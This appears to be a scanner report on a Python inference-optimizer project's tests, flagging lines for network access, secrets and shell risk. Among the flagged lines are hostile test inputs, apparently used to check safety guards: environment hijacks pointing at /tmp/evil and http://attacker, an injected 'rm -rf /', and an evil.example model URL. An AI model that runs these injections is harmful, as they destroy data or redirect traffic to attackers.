domain="serving_specialist", research_hints="- enable MTP (source=https://pr/1)", ) - Network accessline 409
research_hints="- enable MTP (source=https://pr/1)", - Network accessline 418
inp = SpecialistPromptInputs( domain="serving_specialist", research_hints="- enable MTP (source=https://pr/1)", - Network accessline 419
domain="serving_specialist", research_hints="- enable MTP (source=https://pr/1)", ) - Network accessline 420
research_hints="- enable MTP (source=https://pr/1)", - Network accessline 441
inp = SpecialistPromptInputs( domain="research_scout_specialist", already_proven=[{"name": "mtp_on", "source": "https://pr/1"}], - Network accessline 442
domain="research_scout_specialist", already_proven=[{"name": "mtp_on", "source": "https://pr/1"}], ) - Network accessline 443
already_proven=[{"name": "mtp_on", "source": "https://pr/1"}], - Network accessline 446
assert "Already proven" in text assert "mtp_on" in text assert "https://pr/1" in text - Network accessline 448
assert "https://pr/1" in text
src/hyperloom/inference_optimizer/tests/test_record_trace_analyze_analysis_md.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_record_trace_analyze_disk_recovery.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_record_trace_analyze_lock.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_recorder_warnings_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_reference_script.py
- Executable scriptline 1
Executable file - Access to secretsline 35
[Credential-related source omitted] - Network accessline 110
export PERL5OPT=-M/tmp/evil export GIT_SSH_COMMAND=/tmp/evil.sh export HTTPS_PROXY=http://attacker - Network accessline 111
export GIT_SSH_COMMAND=/tmp/evil.sh export HTTPS_PROXY=http://attacker export HF_ENDPOINT=http://attacker - Network accessline 112
export HTTPS_PROXY=http://attacker - Network accessline 113
export HF_ENDPOINT=http://attacker - Access to secretsline 159
[Credential-related source omitted] - Access to secretsline 160
[Credential-related source omitted] - Access to secretsline 161
[Credential-related source omitted] - Access to secretsline 167
[Credential-related source omitted] - Dangerous shell operationline 228
rm = parse_reference_script(multi, framework="vllm") - Dangerous shell operationline 327
launch=LaunchSettings(server_args="", envs={"HL_OPTS": "a b; rm -rf /"}), - Dangerous shell operationline 330
assert "export HL_OPTS='a b; rm -rf /'" in text - Access to secretsline 349
[Credential-related source omitted] - Access to secretsline 377
[Credential-related source omitted] - Access to secretsline 380
[Credential-related source omitted] - Network accessline 497
) if remote: source = "https://example.invalid/recipe.sh" - Network accessline 498
if remote: source = "https://example.invalid/recipe.sh" monkeypatch.setattr( - Network accessline 499
source = "https://example.invalid/recipe.sh"
src/hyperloom/inference_optimizer/tests/test_regression_locks.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_remote_recipe_v2.py
- Executable scriptline 1
Executable file - Access to secretsline 562
[Credential-related source omitted] - Network accessline 1127
[ ("", "", "KB_STORE_URL and KB_STORE_TOKEN"), ("https://kb.example", "", "KB_STORE_TOKEN"), - Network accessline 1128
("", "", "KB_STORE_URL and KB_STORE_TOKEN"), ("https://kb.example", "", "KB_STORE_TOKEN"), ("", "token", "KB_STORE_URL"), - Network accessline 1129
("https://kb.example", "", "KB_STORE_TOKEN"), - Network accessline 1145
def test_client_from_env_returns_configured_client(monkeypatch) -> None: monkeypatch.setenv("KB_STORE_URL", "https://kb.example") - Network accessline 1146
monkeypatch.setenv("KB_STORE_URL", "https://kb.example") - Network accessline 1205
monkeypatch.setenv("KNOWLEDGE_STORE_MODE", "local") monkeypatch.setenv("KB_STORE_URL", "https://kb.example") - Network accessline 1206
monkeypatch.setenv("KB_STORE_URL", "https://kb.example") - Network accessline 1249
monkeypatch.setenv("KNOWLEDGE_STORE_MODE", "remote") monkeypatch.setenv("KB_STORE_URL", "https://kb.example") - Network accessline 1250
monkeypatch.setenv("KB_STORE_URL", "https://kb.example") - Network accessline 1305
(None, {"type": "OSError"}), ( HTTPError("https://private.invalid/secret", 403, "private body", {}, None), - Network accessline 1306
( HTTPError("https://private.invalid/secret", 403, "private body", {}, None), {"type": "KBStoreError", "cause_type": "HTTPError", "http_status": 403}, - Network accessline 1307
HTTPError("https://private.invalid/secret", 403, "private body", {}, None), - Network accessline 1355
monkeypatch.setenv("KNOWLEDGE_STORE_MODE", "remote") monkeypatch.setenv("KB_STORE_URL", "https://kb.example") - Network accessline 1356
monkeypatch.setenv("KB_STORE_URL", "https://kb.example") - Network accessline 1402
) monkeypatch.setenv("KNOWLEDGE_STORE_MODE", "remote") monkeypatch.setenv("KB_STORE_URL", "https://kb.example") - Network accessline 1403
monkeypatch.setenv("KNOWLEDGE_STORE_MODE", "remote") monkeypatch.setenv("KB_STORE_URL", "https://kb.example") monkeypatch.setenv("KB_STORE_TOKEN", "token") - Network accessline 1404
monkeypatch.setenv("KB_STORE_URL", "https://kb.example") - Network accessline 1468
) monkeypatch.setenv("KNOWLEDGE_STORE_MODE", "remote") monkeypatch.setenv("KB_STORE_URL", "https://kb.example") - Network accessline 1469
monkeypatch.setenv("KNOWLEDGE_STORE_MODE", "remote") monkeypatch.setenv("KB_STORE_URL", "https://kb.example") monkeypatch.setenv("KB_STORE_TOKEN", "token") - Network accessline 1470
monkeypatch.setenv("KB_STORE_URL", "https://kb.example") - Access to secretsline 1739
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_report.py
- Executable scriptline 1
Executable file - Network accessline 30
"status": "ok", "reason": "ok", "source": "https://reference.test/api/v1", - Network accessline 31
"reason": "ok", "source": "https://reference.test/api/v1", "query": {"benchmark_mode": "agentx", "model": "GLM-5.2", "gpu": "b300", "precision": "fp4"}, - Network accessline 32
"source": "https://reference.test/api/v1", - Network accessline 333
STAR_LINK = "a star on https://github.com/AMD-AGI/Hyperloom"
src/hyperloom/inference_optimizer/tests/test_report_helpers_coverage_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_reporters_llm_client.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_reporters_smoke.py
src/hyperloom/inference_optimizer/tests/test_required_step_gates.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_research_hints_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_research_scout.py
- Executable scriptline 1
Executable file - Network accessline 123
state = SharedState(session_id="research-scout-readonly") state.register_seen_pr_ids(["https://pr/seen"]) - Network accessline 124
state.register_seen_pr_ids(["https://pr/seen"]) - Network accessline 133
{ "name": "kept-variant", "source_evidence": ["https://pr/kept"], - Network accessline 134
"name": "kept-variant", "source_evidence": ["https://pr/kept"], } - Network accessline 135
"source_evidence": ["https://pr/kept"], - Network accessline 157
assert task.params["mode"] == "research" assert task.params["source_phase"] == "PRELUDE" assert task.params["seen_pr_ids"] == ["https://pr/seen"] - Network accessline 158
assert task.params["source_phase"] == "PRELUDE" assert task.params["seen_pr_ids"] == ["https://pr/seen"] assert "Does this vLLM version support the backend?" in task.params["notes"] - Network accessline 159
assert task.params["seen_pr_ids"] == ["https://pr/seen"] - Network accessline 161
assert {"name": "kept-variant", "source": "https://pr/kept"} in task.params["already_proven"] - Network accessline 163
research_hints.append_hints( tmp_path, [{"what": "enable aiter", "source": "https://example.test/aiter"}], - Network accessline 164
tmp_path, [{"what": "enable aiter", "source": "https://example.test/aiter"}], ) - Network accessline 165
[{"what": "enable aiter", "source": "https://example.test/aiter"}], - Network accessline 169
research_hints.append_hints( tmp_path, [{"what": "use hipblaslt", "source": "https://example.test/hipblaslt"}], - Network accessline 170
tmp_path, [{"what": "use hipblaslt", "source": "https://example.test/hipblaslt"}], ) - Network accessline 171
[{"what": "use hipblaslt", "source": "https://example.test/hipblaslt"}],
src/hyperloom/inference_optimizer/tests/test_resource_lanes.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_resume.py
- Executable scriptline 1
Executable file - Access to secretsline 583
[Credential-related source omitted] - Access to secretsline 584
[Credential-related source omitted] - Access to secretsline 585
[Credential-related source omitted] - Access to secretsline 587
[Credential-related source omitted] - Access to secretsline 592
[Credential-related source omitted] - Access to secretsline 597
[Credential-related source omitted] - Access to secretsline 599
[Credential-related source omitted] - Access to secretsline 601
[Credential-related source omitted] - Access to secretsline 630
[Credential-related source omitted] - Access to secretsline 641
[Credential-related source omitted] - Access to secretsline 642
[Credential-related source omitted] - Access to secretsline 732
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_resume_budget_objective.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_resume_guard.py
src/hyperloom/inference_optimizer/tests/test_resume_scope_gone.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_revalidation_window_awaits_booking.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_role_realignment.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_roofline_ceiling_diffusion_units.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_roofline_ceiling_env_units.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_roofline_ceiling_perfmodel_units.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_roofline_comparison_pipeline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_roofline_executor.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_roofline_executor_rows.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_roofline_executor_units.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_roofline_moe_layer_split.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_roofline_renderer_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_roofline_snapshot_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_run_optimize_exit_code_lock.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_runner_framework_gate.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_runtime_env_loader.py
- Executable scriptline 1
Executable file - Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 120
[Credential-related source omitted] - Access to secretsline 132
[Credential-related source omitted] - Access to secretsline 138
[Credential-related source omitted] - Access to secretsline 151
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Access to secretsline 159
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Access to secretsline 225
[Credential-related source omitted] - Access to secretsline 234
[Credential-related source omitted] - Access to secretsline 255
[Credential-related source omitted] - Access to secretsline 269
[Credential-related source omitted] - Access to secretsline 282
[Credential-related source omitted] - Access to secretsline 308
[Credential-related source omitted] - Access to secretsline 349
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_sbd_v6_baseline_timeline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_close_recording.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_conc_sweep_timeline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_conc_sweep_wiring.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_critic_recording.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_enablement_keep_window.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_enablement_timeline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_enablement_wiring.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_ext_schema_contract.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_framework_timeline.py
src/hyperloom/inference_optimizer/tests/test_sbd_v6_framework_wiring.py
- Executable scriptline 1
Executable file - Network accessline 232
"proposal_set": [ { "pr_url": "https://x/pr/1", - Network accessline 233
{ "pr_url": "https://x/pr/1", "title": "live one", - Network accessline 234
"pr_url": "https://x/pr/1", - Network accessline 238
"reasoning": "The patch removes work from the profiled attention path.", }, {"pr_url": "https://x/pr/2", "title": "landed", "repo": "vllm", "verdict": "already_present"}, - Network accessline 239
}, {"pr_url": "https://x/pr/2", "title": "landed", "repo": "vllm", "verdict": "already_present"}, {"pr_url": "https://x/pr/3", "title": "n/a", "repo": "vllm", "verdict": "not_applicable"}, - Network accessline 240
{"pr_url": "https://x/pr/2", "title": "landed", "repo": "vllm", "verdict": "already_present"}, - Network accessline 241
{"pr_url": "https://x/pr/3", "title": "n/a", "repo": "vllm", "verdict": "not_applicable"}, - Network accessline 255
by_id = {row["proposal_id"]: row for row in ext["proposals"]} assert len(by_id) == 3 live = by_id["https://x/pr/1"] - Network accessline 256
assert len(by_id) == 3 live = by_id["https://x/pr/1"] assert live["producer"] == "specialist" - Network accessline 257
live = by_id["https://x/pr/1"] - Network accessline 261
assert live.get("terminal") in (None, {}) assert [step["step"] for step in live["lifecycle"]] == ["proposed"] for dropped, why in (("https://x/pr/2", "already_present"), ("https://x/pr/3", "not_applicable")): - Network accessline 262
assert [step["step"] for step in live["lifecycle"]] == ["proposed"] for dropped, why in (("https://x/pr/2", "already_present"), ("https://x/pr/3", "not_applicable")): assert by_id[dropped]["terminal"]["disposition"] == "dropped" - Network accessline 263
for dropped, why in (("https://x/pr/2", "already_present"), ("https://x/pr/3", "not_applicable")): - Network accessline 612
coord = _coordinator(session_dir) coord.shared_state.phase = "FRAMEWORK_AGENT" coord.shared_state.framework_agent_specialist_candidate_map = {"t-auth-1": "https://x/pr/1"} - Network accessline 613
coord.shared_state.phase = "FRAMEWORK_AGENT" coord.shared_state.framework_agent_specialist_candidate_map = {"t-auth-1": "https://x/pr/1"} coord.phase_framework._open_framework_timeline() - Network accessline 614
coord.shared_state.framework_agent_specialist_candidate_map = {"t-auth-1": "https://x/pr/1"} - Network accessline 626
"framework_agent_authoring": True, "specialist_task_id": "t-auth-1", "framework_agent_candidate_id": "https://x/pr/1", - Network accessline 627
"specialist_task_id": "t-auth-1", "framework_agent_candidate_id": "https://x/pr/1", "audit_step": "author_via_specialist", - Network accessline 628
"framework_agent_candidate_id": "https://x/pr/1", - Network accessline 665
attempt = ext["attempts"][0] assert attempt["arm"] == "source" assert attempt["proposal_ref"] == "https://x/pr/1" - Network accessline 666
assert attempt["arm"] == "source" assert attempt["proposal_ref"] == "https://x/pr/1" assert attempt["measurement"] == { - Network accessline 667
assert attempt["proposal_ref"] == "https://x/pr/1" - Network accessline 724
coord = _coordinator(session_dir) coord.shared_state.phase = "FRAMEWORK_AGENT" coord.shared_state.framework_agent_specialist_candidate_map = {"t-auth-1": "https://x/pr/1"} - Network accessline 725
coord.shared_state.phase = "FRAMEWORK_AGENT" coord.shared_state.framework_agent_specialist_candidate_map = {"t-auth-1": "https://x/pr/1"} coord.phase_framework._open_framework_timeline() - Network accessline 726
coord.shared_state.framework_agent_specialist_candidate_map = {"t-auth-1": "https://x/pr/1"} - Network accessline 739
"proposal_set": [ { "pr_url": "https://x/pr/1", - Network accessline 740
{ "pr_url": "https://x/pr/1", "title": "live one", - Network accessline 741
"pr_url": "https://x/pr/1", - Network accessline 751
"framework_agent_authoring": True, "specialist_task_id": "t-auth-1", "framework_agent_candidate_id": "https://x/pr/1", - Network accessline 752
"specialist_task_id": "t-auth-1", "framework_agent_candidate_id": "https://x/pr/1", } - Network accessline 753
"framework_agent_candidate_id": "https://x/pr/1", - Network accessline 780
coord.shared_state.phase = "FRAMEWORK_AGENT" coord.shared_state.framework_agent_specialist_candidate_map = {"t-auth-1": "https://x/pr/1"} - Network accessline 781
coord.shared_state.framework_agent_specialist_candidate_map = {"t-auth-1": "https://x/pr/1"} - Network accessline 788
"framework_agent_authoring": True, "specialist_task_id": "t-auth-1", "framework_agent_candidate_id": "https://x/pr/1", - Network accessline 790
"framework_agent_candidate_id": "https://x/pr/1", - Network accessline 1299
arm=ARM_SOURCE, producer=PRODUCER_SPECIALIST, source_ref="https://example.invalid/pr/1", - Network accessline 1300
producer=PRODUCER_SPECIALIST, source_ref="https://example.invalid/pr/1", ) - Network accessline 1301
source_ref="https://example.invalid/pr/1", - Network accessline 1330
assert proposals[0]["source_ref"] == "https://example.invalid/pr/1" - Network accessline 1477
task_id="t-int-7", kind="integrate_patch", params={"framework_agent_authoring": True, "framework_agent_candidate_id": "https://x/pr/7"}, - Network accessline 1478
kind="integrate_patch", params={"framework_agent_authoring": True, "framework_agent_candidate_id": "https://x/pr/7"}, ), - Network accessline 1479
params={"framework_agent_authoring": True, "framework_agent_candidate_id": "https://x/pr/7"},
src/hyperloom/inference_optimizer/tests/test_sbd_v6_grading.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_initial.py
- Executable scriptline 1
Executable file - Access to secretsline 181
[Credential-related source omitted] - Access to secretsline 187
[Credential-related source omitted] - Access to secretsline 209
[Credential-related source omitted] - Access to secretsline 213
[Credential-related source omitted] - Access to secretsline 220
[Credential-related source omitted] - Access to secretsline 269
[Credential-related source omitted] - Network accessline 288
magpie_python="python", inferencex_path="/opt/InferenceX", resolved_urls=("", "https://api.openai.com/v1"), - Network accessline 289
inferencex_path="/opt/InferenceX", resolved_urls=("", "https://api.openai.com/v1"), ), - Network accessline 290
resolved_urls=("", "https://api.openai.com/v1"), - Access to secretsline 344
[Credential-related source omitted] - Access to secretsline 391
[Credential-related source omitted] - Access to secretsline 422
[Credential-related source omitted] - Access to secretsline 484
[Credential-related source omitted] - Access to secretsline 526
[Credential-related source omitted] - Access to secretsline 586
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_sbd_v6_kernel_integrate_wiring.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_kernel_timeline.py
- Executable scriptline 1
Executable file - Network accessline 754
[ "aiter:paged_attention_ragged (pa_ragged / paged_attention_ll4mi_QKV_mfma16)", "https://example.org/kernels/7", - Network accessline 755
"aiter:paged_attention_ragged (pa_ragged / paged_attention_ll4mi_QKV_mfma16)", "https://example.org/kernels/7", "backend:kernel%3Avariant", - Network accessline 756
"https://example.org/kernels/7",
src/hyperloom/inference_optimizer/tests/test_sbd_v6_phase_timeline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_phase_wiring.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_roofline_timeline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_specialist_round_recording.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_stack_ledger.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_stack_wiring.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_stages.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_warm_replay_timeline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sbd_v6_warm_start_recording.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_scaffold_smoke.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_scriptable_log_streaming.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_scriptable_watchdog_gating.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_server_args_dedupe.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_server_args_safety.py
- Executable scriptline 1
Executable file - Network accessline 41
"Qwen/EAGLE3-Qwen3-30B", # bare repo id: every pod would download its own "hf://org/draft", "http://evil.example/draft", - Network accessline 42
"hf://org/draft", "http://evil.example/draft", "./draft", - Network accessline 43
"http://evil.example/draft",
src/hyperloom/inference_optimizer/tests/test_server_argv_seal.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_server_patcher_sglang_gc_patch.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_server_patcher_sglang_release_branch.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_server_patcher_sglang_version_fallback.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_server_patcher_vllm_isolated_venv.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_server_patcher_vllm_patch_gate.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_server_patcher_vllm_version_fallback.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_server_patcher_xdit_plan.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_session_breakdown_executor_units.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_session_dir_flag.py
src/hyperloom/inference_optimizer/tests/test_session_layout.py
- Executable scriptline 1
Executable file - Network accessline 335
fake_magpie = tmp_path / "Magpie" fake_infx = tmp_path / "InferenceX" _init_repo(fake_magpie, "https://example.test/Magpie.git", "m") - Network accessline 336
fake_infx = tmp_path / "InferenceX" _init_repo(fake_magpie, "https://example.test/Magpie.git", "m") _init_repo(fake_infx, "https://example.test/InferenceX.git", "i") - Network accessline 337
_init_repo(fake_magpie, "https://example.test/Magpie.git", "m") - Network accessline 338
_init_repo(fake_infx, "https://example.test/InferenceX.git", "i") - Network accessline 347
deps = m["dependencies"] assert deps["magpie"]["path"] == str(fake_magpie) assert deps["magpie"]["remote"] == "https://example.test/Magpie.git" - Network accessline 348
assert deps["magpie"]["path"] == str(fake_magpie) assert deps["magpie"]["remote"] == "https://example.test/Magpie.git" assert deps["magpie"]["commit"], "expected non-empty magpie SHA" - Network accessline 349
assert deps["magpie"]["remote"] == "https://example.test/Magpie.git" - Network accessline 350
assert deps["magpie"]["commit"], "expected non-empty magpie SHA" assert deps["inferencex"]["path"] == str(fake_infx) assert deps["inferencex"]["remote"] == "https://example.test/InferenceX.git" - Network accessline 351
assert deps["inferencex"]["path"] == str(fake_infx) assert deps["inferencex"]["remote"] == "https://example.test/InferenceX.git" assert deps["inferencex"]["commit"], "expected non-empty inferencex SHA" - Network accessline 352
assert deps["inferencex"]["remote"] == "https://example.test/InferenceX.git"
src/hyperloom/inference_optimizer/tests/test_session_lock.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_session_package.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_session_paths_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_session_paths_workdir_units.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_session_time_budget.py
src/hyperloom/inference_optimizer/tests/test_setup_cli.py
- Executable scriptline 1
Executable file - Access to secretsline 57
[Credential-related source omitted] - Network accessline 59
[Credential-related source omitted] - Network accessline 60
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Network accessline 61
"ANTHROPIC_BASE_URL=https://api.anthropic.com", - Network accessline 76
monkeypatch.chdir(tmp_path) monkeypatch.setenv("REPO_ROOT", "/stale/root") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm.example.invalid/anthropic") - Network accessline 77
monkeypatch.setenv("REPO_ROOT", "/stale/root") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm.example.invalid/anthropic") monkeypatch.setenv("ANTHROPIC_API_KEY", "stale-anthropic-key") - Network accessline 78
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm.example.invalid/anthropic") - Network accessline 79
[Credential-related source omitted] - Access to secretsline 79
[Credential-related source omitted] - Network accessline 80
monkeypatch.setenv("ANTHROPIC_CUSTOM_HEADERS", "Ocp-Apim-Subscription-Key: stale") monkeypatch.setenv("OPENAI_BASE_URL", "https://gateway.example/v1") monkeypatch.setenv("OPENAI_API_KEY", "stale-openai-key") - Network accessline 81
monkeypatch.setenv("OPENAI_BASE_URL", "https://gateway.example/v1") - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Network accessline 118
[Credential-related source omitted] - Network accessline 119
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Network accessline 120
"ANTHROPIC_BASE_URL=https://api.anthropic.com", - Access to secretsline 181
[Credential-related source omitted] - Network accessline 198
[Credential-related source omitted] - Access to secretsline 198
[Credential-related source omitted] - Network accessline 199
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Network accessline 200
"OPENAI_BASE_URL=https://gw.example.com/api/v1/llm-proxy/v1", - Access to secretsline 201
[Credential-related source omitted] - Network accessline 212
assert proc.returncode == 0, proc.stderr text = dotenv.read_text(encoding="utf-8") assert "OPENAI_BASE_URL=https://gw.example.com/api/v1/llm-proxy/v1" in text - Network accessline 213
[Credential-related source omitted] - Network accessline 214
assert "OPENAI_BASE_URL=https://gw.example.com/api/v1/llm-proxy/v1" in text - Access to secretsline 215
[Credential-related source omitted] - Access to secretsline 223
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Access to secretsline 240
[Credential-related source omitted] - Network accessline 241
[Credential-related source omitted] - Access to secretsline 241
[Credential-related source omitted] - Network accessline 242
"OPENAI_BASE_URL=https://gw.example.com/api/v1/llm-proxy/v1", - Access to secretsline 261
[Credential-related source omitted] - Network accessline 264
[Credential-related source omitted] - Network accessline 265
[Credential-related source omitted] - Access to secretsline 265
[Credential-related source omitted] - Network accessline 266
"ANTHROPIC_BASE_URL=https://api.anthropic.com", - Network accessline 267
"CLAUDE_MODEL=claude-opus-4-8", "HYPERLOOM_RUN_MODE=baremetal", "OPENAI_BASE_URL=https://api.anthropic.com", - Network accessline 268
[Credential-related source omitted] - Network accessline 269
"OPENAI_BASE_URL=https://api.anthropic.com", - Access to secretsline 270
[Credential-related source omitted] - Access to secretsline 273
[Credential-related source omitted] - Access to secretsline 294
[Credential-related source omitted] - Network accessline 295
[Credential-related source omitted] - Access to secretsline 295
[Credential-related source omitted] - Network accessline 296
[Credential-related source omitted] - Network accessline 297
"OPENAI_BASE_URL=https://api.anthropic.com", - Access to secretsline 298
[Credential-related source omitted] - Access to secretsline 303
[Credential-related source omitted] - Network accessline 314
text = dotenv.read_text(encoding="utf-8") assert "ANTHROPIC_BASE_URL=https://api.anthropic.com" in text - Network accessline 315
assert "ANTHROPIC_BASE_URL=https://api.anthropic.com" in text - Access to secretsline 316
[Credential-related source omitted] - Access to secretsline 318
[Credential-related source omitted] - Access to secretsline 321
[Credential-related source omitted] - Access to secretsline 323
[Credential-related source omitted] - Access to secretsline 327
[Credential-related source omitted] - Access to secretsline 333
[Credential-related source omitted] - Network accessline 337
[Credential-related source omitted] - Network accessline 338
[Credential-related source omitted] - Access to secretsline 338
[Credential-related source omitted] - Network accessline 339
"DEEPSEEK_BASE_URL=https://api.deepseek.com/anthropic", - Network accessline 340
"OPENAI_BASE_URL=https://gateway.example/v1", - Access to secretsline 341
[Credential-related source omitted] - Access to secretsline 343
[Credential-related source omitted] - Access to secretsline 355
[Credential-related source omitted] - Access to secretsline 357
[Credential-related source omitted] - Access to secretsline 358
[Credential-related source omitted] - Access to secretsline 360
[Credential-related source omitted] - Access to secretsline 370
[Credential-related source omitted] - Access to secretsline 374
[Credential-related source omitted] - Access to secretsline 376
[Credential-related source omitted] - Access to secretsline 378
[Credential-related source omitted] - Network accessline 389
[Credential-related source omitted] - Access to secretsline 389
[Credential-related source omitted] - Network accessline 390
[Credential-related source omitted] - Network accessline 391
assert "ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic" in text - Network accessline 392
[Credential-related source omitted] - Access to secretsline 392
[Credential-related source omitted] - Network accessline 393
assert "OPENAI_BASE_URL=https://api.deepseek.com/v1" in text - Access to secretsline 394
[Credential-related source omitted] - Access to secretsline 395
[Credential-related source omitted] - Network accessline 396
resolved_env = (tmp_path / "deepseek-env.txt").read_text(encoding="utf-8") assert resolved_env == ( "OPENAI_BASE_URL=https://api.deepseek.com/v1\n" - Network accessline 397
[Credential-related source omitted] - Network accessline 398
"OPENAI_BASE_URL=https://api.deepseek.com/v1\n" - Network accessline 399
[Credential-related source omitted] - Access to secretsline 399
[Credential-related source omitted] - Network accessline 400
"ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic\n" - Access to secretsline 401
[Credential-related source omitted] - Access to secretsline 403
[Credential-related source omitted] - Access to secretsline 416
[Credential-related source omitted] - Access to secretsline 417
[Credential-related source omitted] - Access to secretsline 422
[Credential-related source omitted] - Access to secretsline 428
[Credential-related source omitted] - Network accessline 430
"\n".join( [ "ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic", - Network accessline 431
[Credential-related source omitted] - Network accessline 432
"ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic", - Network accessline 433
[Credential-related source omitted] - Access to secretsline 433
[Credential-related source omitted] - Network accessline 434
[Credential-related source omitted] - Network accessline 435
"OPENAI_BASE_URL=https://api.deepseek.com/v1", - Access to secretsline 436
[Credential-related source omitted] - Network accessline 468
text = dotenv.read_text(encoding="utf-8") assert "ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic" in text - Network accessline 469
assert "ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic" in text - Network accessline 470
assert "OPENAI_BASE_URL=https://api.deepseek.com/v1" in text - Access to secretsline 471
[Credential-related source omitted] - Access to secretsline 480
